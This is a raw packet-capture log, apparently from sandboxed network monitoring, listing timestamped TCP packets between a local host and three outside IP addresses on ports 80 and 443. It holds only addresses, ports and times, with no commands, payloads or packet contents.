Aug 21, 2024 08:32:16.355207920 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.355216980 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355226040 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355236053 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355237961 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.355243921 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355261087 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.355299950 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.355299950 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.355308056 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355318069 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355328083 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355335951 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355362892 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.355401993 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.355406046 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355417013 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355431080 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355494976 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.355498075 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355508089 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355516911 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355525017 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355534077 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355545998 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.355587959 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.355691910 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355700970 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355715990 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355726004 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355736971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355746031 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355756044 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355763912 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355770111 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.355772018 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355789900 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355798006 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355813026 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.355813026 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.355839014 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.355931997 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355941057 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355956078 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355964899 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355987072 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355995893 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.356010914 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.356030941 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.356056929 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.356076002 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.356115103 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.356141090 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.356148005 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.356159925 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.356168985 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.356175900 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.356178999 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.356184006 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.356197119 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.356200933 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.356235027 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.356272936 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.356281042 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.356287956 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.356323957 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.356370926 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.356379032 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.356391907 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.356398106 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.356410980 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.356427908 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.356460094 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.356460094 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.356512070 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.356518984 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.356527090 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.356533051 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.356545925 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.356574059 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.356600046 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.356617928 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.356650114 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.356669903 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.356729984 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.357379913 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.357391119 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.357404947 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.357458115 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.357481956 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.357496023 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.357505083 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.357512951 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.357521057 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.357558966 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.357573032 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.357579947 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.357741117 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.358216047 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358226061 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358248949 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358257055 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358269930 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358278036 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358293056 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358295918 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.358323097 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.358342886 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.358355999 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358397007 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358405113 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358416080 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.358444929 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.358452082 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358460903 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358475924 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358484030 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358515024 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.358540058 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.358625889 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358633995 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358648062 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358654022 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358668089 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358675957 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358684063 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358694077 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358700037 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.358736038 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.358736038 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.358736992 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.358767986 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358776093 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358791113 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358825922 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.358850956 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.358896017 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358911991 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358941078 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358958006 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358973980 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.358989954 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.359016895 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.359016895 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.359163046 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359184027 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359200954 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359215021 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359215021 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.359231949 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359236002 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.359245062 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359255075 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.359271049 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359280109 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359278917 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.359296083 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359297991 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.359317064 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.359318018 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359354019 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359357119 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.359365940 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359376907 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.359396935 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359405041 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359406948 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.359421015 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359428883 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359468937 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359476089 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359478951 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.359491110 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359498978 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359524965 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.359545946 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.359546900 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359556913 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359565020 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359595060 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.359621048 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.359632015 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359644890 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359652996 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359661102 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359690905 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.359721899 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.359736919 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359746933 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359755039 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359761953 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359775066 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.359791994 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.359838009 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.359838963 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.366720915 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.366749048 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.366760969 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.366769075 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.366780043 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.366786003 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.366873980 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.366873980 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.366908073 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.366981030 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.366986990 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.366992950 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.367001057 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.367022991 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.367053032 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.367084026 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.367104053 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.367111921 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.367124081 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.367129087 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.367136002 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.367161989 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.367192984 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.367255926 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.367261887 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.367274046 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.367310047 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.367315054 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.367317915 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.367326021 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.367341042 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.367382050 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.379276037 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.379291058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.379302979 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.379321098 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.379327059 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.379332066 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.379336119 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.379338026 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.379368067 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.379400015 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.379518032 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.379523993 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.379534960 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.379539967 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.379545927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.379579067 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.379581928 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.379607916 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.379637003 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.379664898 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.379673004 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.379686117 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.379693985 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.379700899 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.379713058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.379718065 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.379723072 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.379749060 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.379765987 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.379774094 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.379780054 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.379811049 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.380987883 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.381000042 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.381015062 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.381108046 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.381114006 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.381117105 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.381131887 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.381139994 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.381148100 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.381159067 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.381180048 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.381202936 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.381227016 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.381233931 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.381244898 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.381249905 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.381266117 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.381279945 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.381283045 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.381285906 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.381292105 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.381321907 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.381340981 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.381860971 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.381877899 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.381951094 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.381962061 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.382066011 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.382220030 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.382235050 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.382287979 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.382294893 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.382335901 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.382945061 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.382958889 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.383027077 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.383033037 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.383151054 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.383306980 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.383325100 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.383441925 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.383449078 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.383599043 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.383812904 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.383831024 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.383917093 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.383917093 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.383923054 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.383970022 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.386276007 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.386286974 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.386300087 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.386307001 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.386348009 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.386334896 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.386356115 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.386363029 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.386373043 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.386424065 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.387922049 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.387937069 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.388051987 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.388058901 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.388118029 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.395006895 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395015955 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395035028 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395054102 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395064116 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395071030 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395073891 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.395080090 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395096064 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.395127058 CEST	49722	80	192.168.2.6	162.241.203.25
